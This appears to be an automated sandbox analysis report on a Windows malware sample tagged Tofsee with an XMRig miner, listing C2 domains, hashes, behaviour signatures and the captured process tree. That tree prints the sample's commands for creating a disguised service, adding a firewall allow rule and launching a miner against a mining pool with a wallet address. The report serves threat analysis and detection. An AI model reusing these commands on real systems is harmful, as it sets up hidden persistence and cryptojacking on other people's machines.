Analysis

  • max time kernel
    142s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/01/2023, 12:21

General

  • Target
    file.exe
  • Size 326KB
  • Sample230109-pjbl2aeb33
  • SHA256 7d9e65a93d88d686247668cf8ff04e1a878219b4e047c3f227a6e427fd65f20a
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1436
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\bgqjtcta\
      2⤵
        PID:3224
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\bdgrmgvw.exe" C:\Windows\SysWOW64\bgqjtcta\
        2⤵
          PID:5048
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create bgqjtcta binPath= "C:\Windows\SysWOW64\bgqjtcta\bdgrmgvw.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4936
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description bgqjtcta "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4224
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start bgqjtcta
          2⤵
          • Launches sc.exe
          PID:3480
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3992
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1436 -s 1040
          2⤵
          • Program crash
          PID:2268
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 1436 -ip 1436
        1⤵
          PID:4316
        • C:\Windows\SysWOW64\bgqjtcta\bdgrmgvw.exe
          C:\Windows\SysWOW64\bgqjtcta\bdgrmgvw.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
          1⤵
          • Executes dropped EXE
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:3380
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe
            2⤵
            • Sets service image path in registry
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:3568
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:2452
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 3380 -s 288
            2⤵
            • Program crash
            PID:4032
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 3380 -ip 3380
          1⤵
            PID:1000

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                bdgrmgvw.exe

                • Path C:\Users\Admin\AppData\Local\Temp\bdgrmgvw.exe
                • Size 12.1MB
                • SHA256 6573546a04bb455fd7499b63a56cd9024d1f0236174fa127a5d8367a69d9669d
                • MD5 SHA1 SHA512 SSDEEP

                bdgrmgvw.exe

                • Path C:\Windows\SysWOW64\bgqjtcta\bdgrmgvw.exe
                • Size 12.1MB
                • SHA256 6573546a04bb455fd7499b63a56cd9024d1f0236174fa127a5d8367a69d9669d
                • MD5 SHA1 SHA512 SSDEEP

                memory/1436-133-0x000000000066E000-0x0000000000683000-memory.dmp

                memory/1436-134-0x00000000005B0000-0x00000000005C3000-memory.dmp

                memory/1436-135-0x0000000000400000-0x0000000000457000-memory.dmp

                memory/1436-143-0x0000000000400000-0x0000000000457000-memory.dmp

                memory/2452-171-0x0000000000C00000-0x0000000000CF1000-memory.dmp

                memory/2452-176-0x0000000000C00000-0x0000000000CF1000-memory.dmp

                memory/3380-148-0x0000000000499000-0x00000000004AE000-memory.dmp

                memory/3380-149-0x0000000000400000-0x0000000000457000-memory.dmp

                memory/3568-152-0x0000000002000000-0x000000000220F000-memory.dmp

                memory/3568-158-0x0000000000640000-0x0000000000650000-memory.dmp

                memory/3568-150-0x0000000000420000-0x0000000000435000-memory.dmp

                memory/3568-151-0x0000000000420000-0x0000000000435000-memory.dmp

                memory/3568-167-0x00000000007F0000-0x00000000007F7000-memory.dmp

                memory/3568-155-0x0000000000630000-0x0000000000636000-memory.dmp

                memory/3568-145-0x0000000000420000-0x0000000000435000-memory.dmp

                memory/3568-161-0x00000000007E0000-0x00000000007E5000-memory.dmp

                memory/3568-164-0x0000000007000000-0x000000000740B000-memory.dmp